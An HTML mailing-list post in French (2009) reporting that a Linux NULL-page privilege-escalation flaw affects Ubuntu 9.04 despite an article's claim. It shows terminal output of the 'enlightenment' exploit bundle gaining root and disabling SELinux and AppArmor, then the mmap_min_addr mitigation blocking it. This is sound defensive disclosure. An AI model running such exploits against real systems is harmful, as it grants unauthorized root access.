<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 TRANSITIONAL//EN">
<HTML>
<HEAD>
  <META HTTP-EQUIV="Content-Type" CONTENT="text/html; CHARSET=UTF-8">
  <META NAME="GENERATOR" CONTENT="GtkHTML/3.26.0">
</HEAD>
<BODY>
Bonsoir à tous,<BR>
<BR>
<BR>
Je viens de lire un article sur linuxfr.org: <A HREF="http://www.linuxfr.org/2009/11/05/26120.html">http://www.linuxfr.org/2009/11/05/26120.html</A><BR>
Cet article concerne une faille de sécurité sur le noyau permettant l'élévation de privilège d'un simple utilisateur.<BR>
<BR>
Je souhaite attirer votre attention sur cette partie plus spécialement<BR>
<BR>
<BR>
<I>Pour se protéger (ou vérifier si votre système est vulnérable ou non), assurez-vous que la valeur de /proc/sys/vm/mmap_min_addr ne soit pas nulle. Debian Sid, Mandriva Linux 2010.0, Fedora 12, Ubuntu (Ibex et supérieurs) et les noyaux patchés avec grsecurity ne sont pas vulnérables.</I><BR>
<BR>
Cependant lorsque je vérifie sur mon système (Ubuntu 9.04 amd64):<BR>
<BR>
<I>jean@lehon:~$ cat /proc/sys/vm/mmap_min_addr </I><BR>
<I>0</I><BR>
<BR>
Mon noyau est bien vulnérable contrairement aux dire de l'article. Une personne ayant répondu à l'article le remarque également<BR>
<BR>
<I>Le dépêche affirme que Ubuntu karmic n'est pas vulnérable. Or sur l'un de mes systèmes j'observe ceci:</I><BR>
<BR>
<I>$ cat /proc/sys/vm/mmap_min_addr</I><BR>
<I>0</I><BR>
<BR>
<I>et sur un autre l'observe ceci:</I><BR>
<BR>
<I>$ cat /proc/sys/vm/mmap_min_addr</I><BR>
<I>65536</I><BR>
<BR>
<I>Je ne sais pas encore d'où vient la différence, mais en tout cas, j'encourage tous les utilisateurs d'Ubuntu à vérifier eux mêmes. </I><BR>
<BR>
<BR>
<BR>
De plus voici le résultat de l'exploit sur mon système:<BR>
<BR>
<I>jean@lehon:~/base_connaissance/exploit_linux/enlightenment$ ./run_null_exploits.sh </I><BR>
<I>Compiling exp_cheddarbay.c...OK.</I><BR>
<I>Compiling exp_ingom0wnar.c...OK.</I><BR>
<I>Compiling exp_moosecox.c...OK.</I><BR>
<I>Compiling exp_paokara.c...OK.</I><BR>
<I>Compiling exp_powerglove.c...OK.</I><BR>
<I>Compiling exp_therebel.c...OK.</I><BR>
<I>Compiling exp_vmware.c...failed.</I><BR>
<I>Compiling exp_wunderbar.c...OK.</I><BR>
<I> [+] MAPPED ZERO PAGE!</I><BR>
<I>Choose your exploit:</I><BR>
<I> [0] Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root</I><BR>
<I> [1] MooseCox: Linux-2.X->Linux.2.6.31.unfixed pipe local root</I><BR>
<I> [2] Paokara: Linux 2.6.19->2.6.31.1 eCryptfs local root</I><BR>
<I> [3] Powerglove: Linux 2.6.31 perf_counter local root</I><BR>
<I> [4] The Rebel: Linux < 2.6.19 udp_sendmsg() local root</I><BR>
<I> [5] Wunderbar Emporium: Linux 2.X sendpage() local root</I><BR>
<I> [6] Exit</I><BR>
<I>> 1</I><BR>
<I> ------------------------------------------------------------------------------</I><BR>
<I> We forfeit three-quarters of ourselves in order to be like other people.</I><BR>
<I> --Schopenhauer</I><BR>
<I> ------------------------------------------------------------------------------</I><BR>
<I> [+] Resolved selinux_enforcing to 0xffffffff80b51928</I><BR>
<I> [+] Resolved selinux_enabled to 0xffffffff80b51924</I><BR>
<I> [+] Resolved apparmor_enabled to 0xffffffff808c1aa4</I><BR>
<I> [+] Resolved apparmor_complain to 0xffffffff80b55044</I><BR>
<I> [+] Resolved apparmor_audit to 0xffffffff80b5504c</I><BR>
<I> [+] Resolved apparmor_logsyscall to 0xffffffff80b55050</I><BR>
<I> [+] Resolved security_ops to 0xffffffff80b4f0a8</I><BR>
<I> [+] Resolved default_security_ops to 0xffffffff808bfc00</I><BR>
<I> [+] Resolved sel_read_enforce to 0xffffffff803de1a0</I><BR>
<I> [+] Resolved audit_enabled to 0xffffffff80b0e5c4</I><BR>
<I> [+] Using newer pipe_inode_info layout</I><BR>
<I> [+] We'll let this go for a while if needed...</I><BR>
<I> [+] got ring0!</I><BR>
<I> [+] detected 2.6 style 8k stacks, with current at 0xffff88004c9f9660</I><BR>
<I> [+] Disabled security of : LSM</I><BR>
<I> [+] Got root!</I><BR>
<I>sh: gthumb: not found</I><BR>
<I># </I><BR>
<BR>
<BR>
Après l'execution du script j'ai obtenu les droits root je suis parvenu à éditer des fichiers normalement non autorisés aux utilisateurs classiques.<BR>
<BR>
Après l'application du correctif de sécurité publié sur le site de Debian: <A HREF="http://wiki.debian.org/mmap_min_addr">http://wiki.debian.org/mmap_min_addr</A><BR>
<BR>
<I>jean@lehon:~/base_connaissance/exploit_linux/enlightenment$ sudo su</I><BR>
<I>root@lehon:/home/jean/base_connaissance/exploit_linux/enlightenment# echo "vm.mmap_min_addr = 4096" > /etc/sysctl.d/mmap_min_addr.conf</I><BR>
<I>root@lehon:/home/jean/base_connaissance/exploit_linux/enlightenment# /etc/init.d/procps restart</I><BR>
<I> * Setting kernel variables (/etc/sysctl.conf)...                        [ OK ] </I><BR>
<I> * Setting kernel variables (/etc/sysctl.d/10-console-messages.conf)...  [ OK ] </I><BR>
<I> * Setting kernel variables (/etc/sysctl.d/10-network-security.conf)...  [ OK ] </I><BR>
<I> * Setting kernel variables (/etc/sysctl.d/30-wine.conf)...              [ OK ] </I><BR>
<I> * Setting kernel variables (/etc/sysctl.d/mmap_min_addr.conf)...        [ OK ] </I><BR>
<I>root@lehon:/home/jean/base_connaissance/exploit_linux/enlightenment# exit</I><BR>
<I>exit</I><BR>
<I>jean@lehon:~/base_connaissance/exploit_linux/enlightenment$ cat /proc/sys/vm/mmap_min_addr </I><BR>
<I>4096</I><BR>
<I>jean@lehon:~/base_connaissance/exploit_linux/enlightenment$ ./run_null_exploits.sh </I><BR>
<I>Compiling exp_cheddarbay.c...OK.</I><BR>
<I>Compiling exp_ingom0wnar.c...OK.</I><BR>
<I>Compiling exp_moosecox.c...OK.</I><BR>
<I>Compiling exp_paokara.c...OK.</I><BR>
<I>Compiling exp_powerglove.c...OK.</I><BR>
<I>Compiling exp_therebel.c...OK.</I><BR>
<I>Compiling exp_vmware.c...failed.</I><BR>
<I>Compiling exp_wunderbar.c...OK.</I><BR>
<I> [+] Personality set to: PER_SVR4</I><BR>
<I>I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.</I><BR>
<I>I: caps.c: Dropping root privileges.</I><BR>
<I>I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.</I><BR>
<I>UNABLE TO MAP ZERO PAGE!</I><BR>
<I>jean@lehon:~/base_connaissance/exploit_linux/enlightenment$ </I><BR>
<BR>
<BR>
L'exploit ne fonctionne plus. Par contre comme l'indique l'article sur debian un petit nombre d'application peuvent ne plus fonctionner correctement.<BR>
<BR>
<BR>
Je vous encourage à vérifier pour vos systèmes.<BR>
<BR>
Jean<BR>
<BR>
<BR>
</BODY>
</HTML>